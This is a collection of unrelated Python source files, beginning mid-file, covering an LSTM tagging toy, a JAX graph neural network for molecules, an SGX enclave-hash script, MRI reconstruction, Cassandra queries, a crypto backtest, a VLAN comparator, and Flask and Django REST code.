        mask = self._sequence_mask(sequence_length=X_lengths, max_len=Y.size(1))
        losses = losses * mask.float()
        loss = losses.sum() / X_lengths.float().sum()

        return loss

sent_1_x = ['is', 'it', 'too', 'late', 'now', 'say', 'sorry']
sent_1_y = ['VB', 'PRP', 'RB', 'RB', 'RB', 'VB', 'JJ']

sent_2_x = ['ooh', 'ooh']
sent_2_y = ['NNP', 'NNP']

sent_3_x = ['sorry', 'yeah']
sent_3_y = ['JJ', 'NNP']

X = [sent_1_x, sent_2_x, sent_3_x]
Y = [sent_1_y, sent_2_y, sent_3_y]

vocab = {'<PAD>': 0, 'is': 1, 'it': 2, 'too': 3, 'late': 4, 'now': 5, 'say': 6, 'sorry': 7, 'ooh': 8, 'yeah':9}
tags = {'<PAD>': 0, 'VB': 1, 'PRP': 2, 'RB': 3, 'JJ': 4, 'NNP': 5}

X = [[vocab[word] for word in sentence] for sentence in X]
Y = [[tags[tag] for tag in sentence] for sentence in Y]

# pad X
X_lengths = [len(sentence) for sentence in X]

pad_token = vocab['<PAD>']
longest_sent = max(X_lengths)
batch_size  = len(X)
padded_X = np.ones((batch_size, longest_sent)) * pad_token

for i, x_len in enumerate(X_lengths):
    sequence = X[i]
    padded_X[i, 0:x_len] = sequence[:x_len]

# pad Y
Y_lengths = [len(sentence) for sentence in Y]

pad_token = tags['<PAD>']
longest_sent = max(Y_lengths)
batch_size = len(Y)
padded_Y = np.ones((batch_size, longest_sent)) * pad_token

for i, y_len in enumerate(Y_lengths):
    sequence = Y[i]
    padded_Y[i, 0:y_len] = sequence[:y_len]

padded_X = np.asarray(padded_X)
X_lengths = np.asarray(X_lengths)

padded_Y = np.asarray(padded_Y)
Y_lengths = np.asarray(Y_lengths)

Xc  = np.zeros((3, 3))
Xc[0,0] = 1
Xc[1,1] = 1
Xc[2,2] = 1

# https://github.com/huggingface/transformers/issues/2952
padded_X = torch.from_numpy(padded_X).type(torch.LongTensor)
X_lengths = torch.from_numpy(X_lengths)

padded_Y = torch.from_numpy(padded_Y).type(torch.LongTensor)
Y_lengths = torch.from_numpy(Y_lengths)

Xc = torch.from_numpy(Xc).type(torch.float)

model = TutorialLSTM(1)
output_m, output_y = model(padded_X, X_lengths, Xc)
# loss = model.compute_loss(y_pred, padded_Y, X_lengths)


from typing import Any, Callable, Dict

import haiku as hk
import jax
import jax.numpy as jnp
import jraph
import numpy as np

from modules.gatedgcn import GatedGCNLayer
from modules.gatedgcn_lspe import GatedGCNLSPELayer
from modules.mlp_readout import MLPReadout
from lib.debug import HaikuDebug
from modules.multi_embedder import MultiEmbedder
from types_and_aliases import GraphClassifierInput, GraphClassifierOutput

def gated_gcn_net(net_params, h_encoder, e_encoder, task_out_dim, graph: jraph.GraphsTuple,
                  is_training: bool, debug: bool = False) -> GraphClassifierOutput:
  in_feat_dropout = net_params['in_feat_dropout']
  hidden_dim = net_params['hidden_dim']
  out_dim = net_params['out_dim']
  dropout = net_params['dropout']
  n_layers = net_params['L']
  readout = net_params['readout']
  graph_norm = net_params['graph_norm']
  residual = net_params['residual']
  pe_init = net_params['pe_init']
  mask_batch_norm = net_params['mask_batch_norm']
  weight_on_edges = net_params['weight_on_edges']

  pos_enc_dim = net_params['pos_enc_dim']
  """A gatedGCN model."""
  nodes, edges, receivers, senders, globals, n_node, n_edge = graph
  HaikuDebug("input_graph", enable=debug)(graph)
  sum_n_node = nodes['feat'].shape[0]
  num_graphs = n_node.shape[0]

  HaikuDebug("unencoded_h", enable=debug)(nodes['feat'])
  h = h_encoder(nodes['feat'])
  HaikuDebug("h_encoded", enable=debug)(h)
  if is_training:
    h = hk.dropout(hk.next_rng_key(), in_feat_dropout, h)

  if pe_init == "lap_pe":
    # Combine the node features and the Laplacian PE in the embedding space
    h += hk.Linear(hidden_dim, name="pe_embedding")(nodes['pe'])
    pass
  elif pe_init == "rand_walk":
    p = hk.Linear(hidden_dim, name="pe_embedding")(nodes['pe'])
    nodes = nodes | {'pos': p}

  e = e_encoder(edges['feat'])
  HaikuDebug("e_encoded", enable=debug)(e)

  nodes = nodes | {'feat': h}
  edges = edges | {'feat': e}
  updated_graph = jraph.GraphsTuple(
      nodes=nodes,
      edges=edges,
      receivers=receivers,
      senders=senders,
      n_node=n_node,
      n_edge=n_edge,
      globals=globals)

  layer_args = {'output_dim': hidden_dim, 'residual': residual,
                'dropout': dropout, 'mask_batch_norm': mask_batch_norm, 'graph_norm': graph_norm, 'weight_on_edges': weight_on_edges}
  final_layer_args = layer_args | {'output_dim': out_dim}

  HaikuDebug("before_layers_updated_graph", enable=debug)(updated_graph)
  if pe_init == 'rand_walk':
    for _ in range(n_layers - 1):
      updated_graph = GatedGCNLSPELayer(
        **layer_args)(updated_graph, is_training=is_training)
    updated_graph = GatedGCNLSPELayer(
      **final_layer_args)(updated_graph, is_training=is_training)
  else:
    for _ in range(n_layers - 1):
      updated_graph = GatedGCNLayer(
        **layer_args)(updated_graph, is_training=is_training)
    updated_graph = GatedGCNLayer(
      **final_layer_args)(updated_graph, is_training=is_training)

  nodes, edges, _, _, _, _, _ = updated_graph

  HaikuDebug("updated_graph", enable=debug)(updated_graph)
  h = nodes['feat']

  graph_indicies = jnp.repeat(
      jnp.arange(
          n_node.shape[0]),
      n_node,
      total_repeat_length=sum_n_node)

  if pe_init == 'rand_walk':
    p = nodes['pos']
    p = hk.Linear(pos_enc_dim, name="pe_out")(p)
    p = jraph.segment_normalize(p, graph_indicies, num_segments=num_graphs)
    h = hk.Linear(out_dim, name="Whp")(jnp.concatenate([h, p], axis=1))
    nodes = nodes | {'final_p': p, 'final_h': h}

  # readout
  HaikuDebug("graph_indicies", enable=debug)(graph_indicies)
  if readout == 'sum':
    hg = jraph.segment_sum(h, graph_indicies, num_segments=num_graphs)
  elif readout == 'max':
    hg = jraph.segment_max(h, graph_indicies, num_segments=num_graphs)
  else:
    # mean
    hg = jraph.segment_mean(h, graph_indicies, num_segments=num_graphs)
  hg = jnp.nan_to_num(hg)
  HaikuDebug("hg", enable=debug)(hg)
  mlp_result = MLPReadout(input_dim=out_dim, output_dim=task_out_dim)(hg)
  HaikuDebug("mlp_result", enable=debug)(mlp_result)

  updated_graph = updated_graph._replace(globals=hg, nodes=nodes)
  return jnp.squeeze(mlp_result), updated_graph

def zinc_model(task_dims: Dict[str, Any], net_params: Dict[str, Any],
               debug: bool = False) -> Callable[GraphClassifierInput, GraphClassifierOutput]:

  assert(len(task_dims['atom']) == 1) and (len(task_dims['bond']) == 1)
  num_atom_type = task_dims['atom'][0]
  num_bond_type = task_dims['bond'][0]
  hidden_dim = net_params['hidden_dim']

  def net(graph: jraph.GraphsTuple,
          is_training: bool) -> GraphClassifierOutput:
    h_encoder = hk.Embed(vocab_size=num_atom_type, embed_dim=hidden_dim)
    e_encoder = hk.Embed(vocab_size=num_bond_type, embed_dim=hidden_dim)
    task_out_dim = 1
    return gated_gcn_net(net_params, h_encoder, e_encoder, task_out_dim, graph, is_training, debug=debug)
  return net

def moltox21_model(task_dims: Dict[str, Any], net_params: Dict[str, Any], debug: bool = False) -> Callable[GraphClassifierInput, GraphClassifierOutput]:

  glorot_uniform = hk.initializers.VarianceScaling(1.0, "fan_avg", "uniform")
  hidden_dim = net_params['hidden_dim']
  task_out_dim = task_dims['classes']

  def net(graph: jraph.GraphsTuple, is_training: bool) -> GraphClassifierOutput:
    h_encoder = MultiEmbedder(
      task_dims['atom'], hidden_dim, w_init=glorot_uniform)
    e_encoder = MultiEmbedder(
      task_dims['bond'], hidden_dim, w_init=glorot_uniform)
    return gated_gcn_net(net_params, h_encoder, e_encoder, task_out_dim, graph, is_training, debug=debug)
  return net


import os
from argparse import ArgumentParser
import base64

if __name__ == "__main__":
    parser = ArgumentParser(description='Get mrenclave')
    parser.add_argument('--signed-enclave-file',
                        help='Signed enclave file',
                        required=True)
    args = parser.parse_args()

    print("Finding mrenclave for", args.signed_enclave_file)
    cmd = "sgx_sign dump -enclave {ENCLAVE_FILE} -dumpfile dump.txt".format(ENCLAVE_FILE = args.signed_enclave_file)
    print("Executing:", cmd)
    os.system(cmd)

    with open("dump.txt", 'r') as file:
        line = file.readline()
        while line:
            if line == "metadata->enclave_css.body.enclave_hash.m:":
                mr = file.readline().replace(" ","").replace("0x","").strip()+file.readline().replace(" ","").replace("0x","").strip()
                print("Mrenclave is", mr)
                print("Mrenclave in hex is", bytes.fromhex(mr).hex())
                print("Mrenclave in base64 is", base64.b64encode(bytes.fromhex(mr)).decode())
                break
            else:
                line = file.readline().strip()


import matplotlib.pyplot as plt
plt.style.use('fivethirtyeight')
from matplotlib.animation import FuncAnimation
import pandas as pd
import os
import shutil
import time
from glob import glob

from streaming_constants import constants

serving = constants.object_constants['publication_distribution']['serving']
year_q_dist = constants.object_constants['publication_distribution']['year_q_dist']

def animate(i):
    if os.path.exists(os.path.join(serving, year_q_dist)):
        distribution = pd.read_csv(os.path.join(serving, year_q_dist))
        years = distribution['publication_year'].unique()
        axs.clear()
        for year in years:
            year_data = distribution[distribution['publication_year'] == year]
            x = year_data['quarter']
            y = year_data['publications']
            axs.plot(x, y, marker='o', label=year)
            axs.set_xlabel('quarters')
            axs.set_ylabel('publications')
            axs.legend(loc='best')
        plt.tight_layout()

figure, axs = plt.subplots(1, 1, figsize=(8,5))
# axs[1][1].remove()
animation = FuncAnimation(figure, animate, interval= 2000)
# from IPython.display import HTML
# HTML(animation.to_jshtml())
plt.suptitle('Distribution of Publications')
plt.tight_layout()
plt.show()


# nlinvns
# % Written and invented
# % by Martin Uecker <muecker@gwdg.de> in 2008-09-22
# %
# % Modifications by Tilman Sumpf 2012 <tsumpf@gwdg.de>:
# %	- removed fftshift during reconstruction (ns = "no shift")
# %	- added switch to return coil profiles
# %	- added switch to force the image estimate to be real
# %	- use of vectorized operation rather than "for" loops
# %
# % Version 0.1
# %
# % Biomedizinische NMR Forschungs GmbH am
# % Max-Planck-Institut fuer biophysikalische Chemie
# Adapted for Python by O. Maier
import numpy as np
import time
import pyfftw

def nlinvns(Y, n, returnProfiles=True, realConstr=False):
    r"""
    Compute coil sensitivity profiles using NLINV.

    Args
    ----
      Y (numpy.array):
        k-space data
      n (int):
        Number of linearization steps
      returnProfiles (bool):
        Return sensitivity profiles
      realConstr (bool):
        Real value constraint on the reconstructed image

    Returns
    -------
      numpy.array
        The estimated indensity corrected image (position 0)\n
        The estimated image without correction (position 1)\n
        The estimated coils if returnProfiles is True starting at
        position 2 to end.
    """
    print('Start...')

    alpha = 1

    [c, y, x] = Y.shape

    if returnProfiles:
        R = np.zeros([c + 2, n, y, x], complex)

    else:
        R = np.zeros([2, n, y, x], complex)

    # initialization x-vector
    X0 = np.array(np.zeros([c + 1, y, x]), np.complex64)
    X0[0, :, :] = 1

    # initialize mask and _weights
    P = np.ones(Y[0, :, :].shape, dtype=np.complex64)
    P[Y[0, :, :] == 0] = 0

    W = _weights(x, y)

    W = np.fft.fftshift(W, axes=(-2, -1))

    # normalize data vector
    y_scale = 100 / np.sqrt(_scal(Y, Y))
    YS = Y * y_scale

    XT = np.zeros([c + 1, y, x], dtype=np.complex64)
    XN = np.copy(X0)

    start = time.perf_counter()
    for i in range(0, n):

        # the application of the _weights matrix to XN
        # is moved out of the operator and the derivative
        XT[0, :, :] = np.copy(XN[0, :, :])
        XT[1:, :, :] = _ap_weightsns(W, np.copy(XN[1:, :, :]))

        RES = (YS - _opns(P, XT))

        print(np.round(np.linalg.norm(RES)))

        # calculate rhs
        r = _derHns(P, W, XT, RES, realConstr)

        r = np.array(r + alpha * (X0 - XN), dtype=np.complex64)

        z = np.zeros_like(r)
        d = np.copy(r)
        dnew = np.linalg.norm(r)**2
        dnot = np.copy(dnew)

        for j in range(0, 500):

            # regularized normal equations
            q = _derHns(P, W, XT, _derns(P, W, XT, d), realConstr) + alpha * d
            np.nan_to_num(q)

            a = dnew / np.real(_scal(d, q))
            z = z + a * (d)
            r = r - a * q
            np.nan_to_num(r)
            dold = np.copy(dnew)
            dnew = np.linalg.norm(r)**2

            d = d * ((dnew / dold)) + r
            np.nan_to_num(d)
            if (np.sqrt(dnew) < (1e-2 * dnot)):
                break

        print('(', j, ')')

        XN = XN + z

        alpha = alpha / 3

        # postprocessing

        CR = _ap_weightsns(W, XN[1:, :, :])

        if returnProfiles:
            R[2:, i, :, :] = CR / y_scale

        C = (np.conj(CR) * CR).sum(0)

        R[0, i, :, :] = (XN[0, :, :] * np.sqrt(C) / y_scale)
        R[1, i, :, :] = np.copy(XN[0, :, :])

    R = (R)
    end = time.perf_counter()  # sec.process time
    print('done in', round((end - start)), 's')
    return R

def _scal(a, b):
    v = np.array(np.sum(np.conj(a) * b), dtype=np.complex64)
    return v

def _ap_weightsns(W, CT):
    C = _nsIfft(W * CT)
    return C

def _ap_weightsnsH(W, CT):
    C = np.conj(W) * _nsFft(CT)
    return C

def _opns(P, X):
    K = np.array(X[0, :, :] * X[1:, :, :], dtype=np.complex64)
    K = np.array(P * _nsFft(K), dtype=np.complex64)
    return K

def _derns(P, W, X0, DX):
    K = X0[0, :, :] * _ap_weightsns(W, DX[1:, :, :])
    K = K + (DX[0, :, :] * X0[1:, :, :])
    K = P * _nsFft(K)
    return K

def _derHns(P, W, X0, DK, realConstr):
    K = _nsIfft(P * DK)

    if realConstr:
        DXrho = np.sum(np.real(K * np.conj(X0[1:, :, :])), 0)
    else:
        DXrho = np.sum(K * np.conj(X0[1:, :, :]), 0)

    DXc = _ap_weightsnsH(W, (K * np.conj(X0[0, :, :])))
    DX = np.array(np.concatenate(
        (DXrho[None, ...], DXc), axis=0), dtype=np.complex64)
    return DX

def _nsFft(M):
    si = M.shape
    a = 1 / (np.sqrt((si[M.ndim - 1])) * np.sqrt((si[M.ndim - 2])))
    K = np.array((pyfftw.interfaces.numpy_fft.fft2(
        M, norm=None)).dot(a), dtype=np.complex64)
    return K

def _nsIfft(M):
    si = M.shape
    a = np.sqrt(si[M.ndim - 1]) * np.sqrt(si[M.ndim - 2])
    K = np.array(pyfftw.interfaces.numpy_fft.ifft2(M, norm=None).dot(a))
    return K  # .T

def _weights(x, y):
    W = np.zeros([x, y])
    for i in range(0, x):
        for j in range(0, y):
            d = ((i) / x - 0.5)**2 + ((j) / y - 0.5)**2
            W[j, i] = 1 / (1 + 220 * d)**16
    return W


import os,sys

sys.path.append(os.getcwd())
import yaml

def base_analyse(filename,data_key):
    file="."+os.sep+"data"+os.sep+filename
    with open(file,"r") as f:
        data=yaml.load(f,Loader=yaml.FullLoader)
        arrs=[]
        for i in data[data_key].values():
            # print(i)
            arrs.append(i)
        return arrs

if __name__ == '__main__':
    data=base_analyse("new_msg.yaml","test_new_msg")
    print(data)


import json
from json import loads, dumps
from cassandra.cluster import Cluster
from datetime import datetime, timezone

def connect_to_cassandra():
    cluster= Cluster(['localhost'],port=9042)
    session= cluster.connect("twitt")
    return session, cluster

if __name__ == '__main__':
    session, cluster= connect_to_cassandra()
    session.set_keyspace('twitter')

    #query1
    result1= session.execute("SELECT twitt_id FROM twitts where day=15 AND hour>=20 AND minute>30")
    for r1 in result1:
        print (r1)

    #query2
    result2= session.execute("SELECT twitt_id FROM persons where user_name='Rahmadzade' AND (day=15 OR (day=14 AND hour>21)")
    for r2 in result2:
        print (r2)

    #query3
    result3 = session.execute("SELECT twitt_id FROM hashtags where hashtag='help' AND date>'2021-8-13' AND date<'2021-8-15'")
    for r3 in result3:
        print(r3)

    #query4
    result4 = session.execute("SELECT twitt_id FROM person where user_name='Rahmadzade' day IN (8,15)")
    for r4 in result4:
        print(r4)


import matplotlib.pyplot as plt
import pandas as pd
import pprint
from tabulate import tabulate

pp = pprint.PrettyPrinter(depth=4)

from history import get_history
from ichimoku import get_ichimoku
from strategybasic import basic_strategy

#---------------INTERFACE---------------------
symbol = 'ETHUSDT'
limit = 300 #max 1000
indicatorlimit = 100

strategy_obj = {
    'focus_zone': False,     # make true when focus zone starts
    'focus_start' : None,    # will have start time and price
    'focus_end' : None,      # will have end time and price
    'start_price' : None,    # price at start of focus zone
    'end_price' : None,      # price at end of focus zone
    'trade' : -1,        # only one trade per focus zone
                         # -1: no trade | 0: in trade | 1: trade completed for this focus
}
#---------------------------------------------

data = get_history(symbol, limit)

result = []

frame = data[0:indicatorlimit]    #used for making the indicator
backtestdata = data[-1*(data.shape[0]-indicatorlimit):] #rest of the data used for testing further

#for loop for running backtest
for index, row in backtestdata.iterrows():
    print("index:", index)
    frame = frame.iloc[1:]      #for poping first row
    frame = frame.append(row)   #for adding new row
    print('frame')
    print(frame)
    strategy_obj = basic_strategy(frame, strategy_obj)
    print("strategy_obj")
    pp.pprint(strategy_obj)

    #appending the focus zones
    if strategy_obj['focus_end'] and strategy_obj['focus_start']:
        result.append(strategy_obj)
        #resting the strategy object
        strategy_obj = {
            'focus_zone': False,
            'focus_start' : None,
            'start_price' : None,
            'end_price' : None,
            'focus_end' : None,
            'trade' : -1,

        }

    print('---------------------------------------------------------------------------------')

print('result')
print('symbol: ', symbol)
print('data points: ', limit)

result = pd.DataFrame(result)
result = result.drop('focus_zone', axis=1)
print(tabulate(result, headers = 'keys', tablefmt = 'psql'))


import pandas as pd
import json

class Comparator:
    def __init__(self, dev_con, db_collection_con):
        self.dev_con = dev_con
        self.db_collection_con = db_collection_con
        self.device_vlan_df = self._get_device_vlan_df()
        self.db_vlan_df = self._get_db_vlan_df()
        #
        self.dev_db_vlan_df = self.deviceAndDBVlans()

    def _get_device_vlan_df(self):
        """
        dev_vlan_dd_ll = [
{'vlan_id': 1, 'name': 'default'},
{'vlan_id': 3, 'name': 'TEST3'},
{'vlan_id': 4, 'name': 'DEV_from_sw_201_NEW'}]
        """
        device_vlan_dd_ll = self.dev_con.get_vlans()
        if device_vlan_dd_ll is None:
            raise ValueError("we did not get vlans from the device. Please check connection logs.")
        device_vlan_df = pd.DataFrame(device_vlan_dd_ll)
        if device_vlan_df.empty:
            device_vlan_df = pd.DataFrame(columns = ['vlan_id', 'name'])
        return device_vlan_df

    def _get_db_vlan_df(self):
        """
        db_vlan_dd_ll = [
{'vlan_id': 1, 'name': 'default'},
{'vlan_id': 2, 'name': 'TEST33'},
{'vlan_id': 4, 'name': 'DEV_from_sw_201'}]
        """
        db_vlan_dd_ll = self.db_collection_con.objects.get_db_vlan_dd_ll()
        db_vlan_df = pd.DataFrame(db_vlan_dd_ll)
        if db_vlan_df.empty:
            db_vlan_df = pd.DataFrame(columns = ['vlan_id', 'name'])
        return db_vlan_df
    def deviceAndDBVlans(self):
        return pd.merge(self.device_vlan_df, self.db_vlan_df, on=['vlan_id'], how='outer', indicator='dev_db_diff', suffixes=('_dev', '_db'))

    def get_dev_vlans_only(self):
        """
        name_dev  vlan_id name_db dev_db_diff
         TEST3        3     NaN   left_only
        """
        dev_vlans_only_df = self.dev_db_vlan_df.query('dev_db_diff == "left_only"')
        dev_vlans_only_df = dev_vlans_only_df.rename(columns={'name_dev': 'name'})
        return json.loads(dev_vlans_only_df.to_json(orient='records'))

    def get_db_vlans_only(self):
        """
          name_dev  vlan_id name_db dev_db_diff
            NaN        2    TEST33  right_only
        """
        db_vlans_only_df = self.dev_db_vlan_df.query('dev_db_diff == "right_only"')
        db_vlans_only_df = db_vlans_only_df.rename(columns={'name_db': 'name'})
        return json.loads(db_vlans_only_df.to_json(orient='records'))

    def getVlanNameDiffWithDbDF(self):
        # when we received DB watch event - we rely on DB info
        dev_and_db_vlan_for_updates_df = pd.merge(self.device_vlan_df, self.db_vlan_df, on=['vlan_id', 'name'], how='right', indicator='dev_db_diff') # we can update only those vlans which has already exists in DB
        not_updated_vlans_on_db = dev_and_db_vlan_for_updates_df.query('dev_db_diff == "right_only"')
        return json.loads(not_updated_vlans_on_db.to_json(orient='records'))

    def getVlanNameDiffWithDeviceDF(self):
        # when we received SNMP trap - we rely on device info
        dev_and_db_vlan_for_updates_df = pd.merge(self.device_vlan_df, self.db_vlan_df, on=['vlan_id', 'name'], how='left', indicator='dev_db_diff')
        not_updated_vlans_on_db = dev_and_db_vlan_for_updates_df.query('dev_db_diff == "left_only"')
        return json.loads(not_updated_vlans_on_db.to_json(orient='records'))


import cv2
import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
import sys

CCRF_LUT_R = np.zeros((256,256))
CCRF_LUT_G = np.zeros((256,256))
CCRF_LUT_B = np.zeros((256,256))

def run_CCRF(f2q,fq):
    CCRF = np.zeros(fq.shape)
    for i in range(f2q.shape[0]):
        for j in range(f2q.shape[1]):
            X_B = fq[i][j][0]
            Y_B = f2q[i][j][0]
            CCRF[i][j][0] = CCRF_LUT_B[X_B][Y_B]
            X_G = fq[i][j][1]
            Y_G = f2q[i][j][1]
            CCRF[i][j][1] = CCRF_LUT_G[X_G][Y_G]
            X_R = fq[i][j][2]
            Y_R = f2q[i][j][2]
            CCRF[i][j][2] = CCRF_LUT_R[X_R][Y_R]
    return CCRF

CCRF_LUT_R = np.loadtxt('img/CCRF_R.txt')
CCRF_LUT_G = np.loadtxt('img/CCRF_G.txt')
CCRF_LUT_B = np.loadtxt('img/CCRF_B.txt')

f2q = cv2.imread("img/ccrf_6.jpg")
fq = cv2.imread("img/ccrf_5.jpg")
ccrf = run_CCRF(f2q,fq)
cv2.imwrite('img/ccrf_1_5.jpg',ccrf)


from flask import Flask, render_template
from testModelDB import db, User

app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = "sqlite:///test.db"
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db.init_app(app)

@app.route("/")
def hello():
    db.drop_all()
    db.create_all()
    db.session.add(User("John Doe", "john.doe@example.com"))
    db.session.add(User("Bill Smith", "smith.bill@example.com"))
    db.session.commit()
    all_users = User.query.all()
    return render_template('index.html', all_users=all_users)

if __name__ == "__main__":
    app.run(debug=True)


import torch
import os,glob
import random,csv

from torch.utils.data import Dataset,DataLoader
from torchvision import transforms
from PIL import Image

class AEGeneset(Dataset):
    def __init__(self,root,resize,mode):
        super(Dataset,self).__init__()
        self.root = root
        self.resize = resize

        self.name2label = {} # ”sq...“ : 0
        for name in sorted(os.listdir(os.path.join(root))):
            if not os.path.isdir(os.path.join(root,name)):
                continue
            self.name2label[name] = len(self.name2label.keys())

        #print(self.name2label)
        # image, label
        self.images,self.labels = self.load_csv('iamges.csv')

        if mode == 'train':
            self.images = self.images[:int(0.8 * len(self.images))]
            self.labels = self.labels[:int(0.8 * len(self.labels))]
        elif mode == 'all':
            self.images = self.images[:]
            self.labels = self.labels[:]
        else:
            self.images = self.images[int(0.8*len(self.images)):]
            self.labels = self.labels[int(0.8 * len(self.labels)):]

    def load_csv(self, filename):

        if not os.path.exists(os.path.join(self.root,filename)):

            images = []
            for name in self.name2label.keys():
                # 'data\\0\\0.jpg'
                images += glob.glob(os.path.join(self.root,name,'*jpg'))
            # 301, 'data\\1\\36.jpg'
            print(len(images),images)

            random.shuffle(images)
            with open(os.path.join(self.root, filename), mode='w',newline='') as f:
                writer = csv.writer(f)
                for img in images: # 'data\\0\\0.jpg'
                    name = img.split(os.sep)[-2]
                    label = self.name2label[name]
                    # 'data\\0\\0.jpg', 0
                    writer.writerow([img, label])
                print('writen into csv file:', filename)

        # read from csv file
        images,labels = [],[]
        with open(os.path.join(self.root,filename)) as f:
            reader = csv.reader(f)
            for row in reader:
                # 'data\\0\\0.jpg', 0
                img,label = row
                #name = img.split(os.sep)[-1][0]
                label = int(label)

                #names.append(name)
                images.append(img)
                labels.append(label)
        assert  len(images) == len(labels)

        return  images,labels

    def __len__(self):
        return len(self.images)

    def __getitem__(self, idx):
        # idx~[0~len(images)]
        # self.images, self.labels
        # img: 'data\\0\\0.jpg'
        # label； 0
        img, label = self.images[idx],self.labels[idx]
        tf = transforms.Compose([
            lambda x:Image.open(x),
            #lambda x: Image.open(x).convert('RGB'), # string path =>  image data
            transforms.Resize((self.resize,self.resize)),
            transforms.ToTensor()
        ])
        name = torch.tensor(int(img.split(os.sep)[-1][:-4]))
        img = tf(img)
        all_label = torch.randn(2)
        all_label[0] = int(name)
        all_label[1] = label

        return img,all_label

def main():

    import visdom
    import time

    viz = visdom.Visdom()
    db = Geneset('data',100,'train')
    #
    x,y = next(iter(db))
    print('sample:',x.shape,y.shape,y[0],y[1])
    viz.images(x,win='sample_x',opts=dict(title='sample_x'))

    loader = DataLoader(db,batch_size=32,shuffle=True,)

    for x,y in loader:
        viz.images(x,nrow=8,win='batch',opts=dict(title='batch'))
        viz.text(str(y.numpy()),win='label',opts=dict(title='batch_y'))
        time.sleep(10)

if __name__ == '__main__':
    main()


from django.db import IntegrityError
from rest_framework.viewsets import ModelViewSet
from rest_framework.permissions import IsAuthenticated
from rest_framework.exceptions import ValidationError

from issuetrackingsystem.models import Project, Issue, Comment, Contributor
from issuetrackingsystem.serializers import (
    ProjectDetailSerializer,
    IssueDetailSerializer,
    CommentDetailSerializer,
    ContributorDetailSerializer,
    ProjectListSerializer,
    CommentListSerializer,
    IssueListSerializer,
    ContributorListSerializer
    )
from issuetrackingsystem.permissions import (
    IsUserContributor,
    IsAuthor,
    ContributorIsNotCreator,
    HasProjectWritePermission
)

def create_contributor(user, project):
    contributor = Contributor.objects.create(
        user_foreign_key=user,
        project_foreign_key=project,
        user_id=user.user_id,
        project_id=project.project_id
    )
    contributor.role = contributor.Role.CREATOR
    contributor.permission = Contributor.Permission.CRUD
    return contributor.save()

class MultipleSerializerMixin:
    detail_serializer_class = None

    def get_serializer_class(self):
        if self.detail_serializer_class is not None:
            if self.action == "retrieve":
                return self.detail_serializer_class
            elif self.action == "create":
                return self.detail_serializer_class
            elif self.action == "update":
                return self.detail_serializer_class
            elif self.action == "partial_update":
                return self.detail_serializer_class
        return super().get_serializer_class()

class ProjectViewset(MultipleSerializerMixin, ModelViewSet):

    serializer_class = ProjectListSerializer
    detail_serializer_class = ProjectDetailSerializer

    permission_classes = [IsAuthenticated, HasProjectWritePermission]

    def get_queryset(self):
        return Project.objects.filter(
            contributors__user_id=self.request.user.user_id
        )

    def perform_create(self, serializer):
        project_save = serializer.save()
        project = Project.objects.get(project_id=project_save.project_id)
        user = self.request.user
        create_contributor(user, project)
        return serializer

class ContributorViewset(MultipleSerializerMixin, ModelViewSet):

    serializer_class = ContributorListSerializer
    detail_serializer_class = ContributorDetailSerializer

    permission_classes = [
        IsAuthenticated, IsUserContributor, ContributorIsNotCreator
    ]

    def get_queryset(self):
        return Contributor.objects.filter(project_id=self.kwargs["project_pk"])

    def perform_create(self, serializer):
        project = Project.objects.get(project_id=self.kwargs["project_pk"])
        try:
            serializer.save(
                user_id=serializer.validated_data["user_foreign_key"].user_id,
                project_id=self.kwargs["project_pk"],
                project_foreign_key=project,
            )
        except IntegrityError as e:
            raise ValidationError({"detail": e})
        return serializer

    def perform_update(self, serializer):
        try:
            serializer.save(
                user_id=serializer.validated_data["user_foreign_key"].user_id,
            )
        except IntegrityError as e:
            raise ValidationError({"detail": e})
        return serializer

class IssueViewset(MultipleSerializerMixin, ModelViewSet):

    serializer_class = IssueListSerializer
    detail_serializer_class = IssueDetailSerializer

    permission_classes = [IsAuthenticated, IsUserContributor, IsAuthor]

    def get_queryset(self):
        return Issue.objects.filter(project_id=self.kwargs["project_pk"])

    def perform_create(self, serializer):
        try:
            project = Project.objects.get(project_id=self.kwargs["project_pk"])
            Contributor.objects.get(
                user_foreign_key=serializer.validated_data["assignee_user_id"],
                project_foreign_key=project
            )
        except Exception as e:
            raise ValidationError({"detail": e})
        serializer.save(
            author_user_id=self.request.user,
            project_id=self.kwargs["project_pk"],
            project_foreign_key=project,
        )
        return serializer

    def perform_update(self, serializer):
        try:
            project = Project.objects.get(project_id=self.kwargs["project_pk"])
            Contributor.objects.get(
                user_foreign_key=serializer.validated_data["assignee_user_id"],
                project_foreign_key=project
            )
        except Exception as e:
            raise ValidationError({"detail": e})
        serializer.save(
            project_id=self.kwargs["project_pk"],
            project_foreign_key=project,
        )
        return serializer

class CommentViewset(MultipleSerializerMixin, ModelViewSet):

    serializer_class = CommentListSerializer
    detail_serializer_class = CommentDetailSerializer

    permission_classes = [IsAuthenticated, IsUserContributor, IsAuthor]

    def get_queryset(self):
        try:
            Issue.objects.get(id=self.kwargs["issue_pk"])
        except Issue.DoesNotExist as e:
            raise ValidationError({"detail": e})
        return Comment.objects.filter(issue_id=self.kwargs["issue_pk"])

    def perform_create(self, serializer):
        try:
            issue = Issue.objects.get(id=self.kwargs["issue_pk"])
        except Issue.DoesNotExist as e:
            raise ValidationError({"detail": e})
        serializer.save(
            author_user_id=self.request.user,
            issue_id=issue,
        )
        return serializer


import pandas as pd
from sklearn.preprocessing import OrdinalEncoder
from sklearn.model_selection import train_test_split
from numpy import savetxt
import numpy as np
import pickle
import matplotlib.pyplot as plt
import collections
from scipy.io import arff
import scipy.stats

desired_width = 320
pd.set_option('display.width', desired_width)
pd.set_option('display.max_columns', 10)

def get_pie_chart_values(target_variable):
    counter = collections.Counter(target_variable)
    labels = ['Low Salary', 'High Salary']
    sizes = [counter['Low'], counter['High']]
    return labels, sizes

def pie_chart(target_variable):
    labels, sizes = get_pie_chart_values(target_variable)
    colors = ['#66b3ff', '#ffcc99']
    fig1, ax1 = plt.subplots()
    patches, texts, autotexts = ax1.pie(sizes, colors=colors, labels=labels, autopct='%1.1f%%', startangle=90)
    for text in texts:
        text.set_color('grey')
    for autotext in autotexts:
        autotext.set_color('grey')
    # Equal aspect ratio ensures that pie is drawn as a circle
    ax1.axis('equal')
    plt.tight_layout()
    plt.show()

def ordinal_encode(df, categories, column):
    encoder = OrdinalEncoder(categories=[categories],
                             handle_unknown='use_encoded_value', unknown_value=np.nan)
    df[df.columns[column]] = encoder.fit_transform(df.loc[:, [df.columns[column]]])
    return df[df.columns[column]]

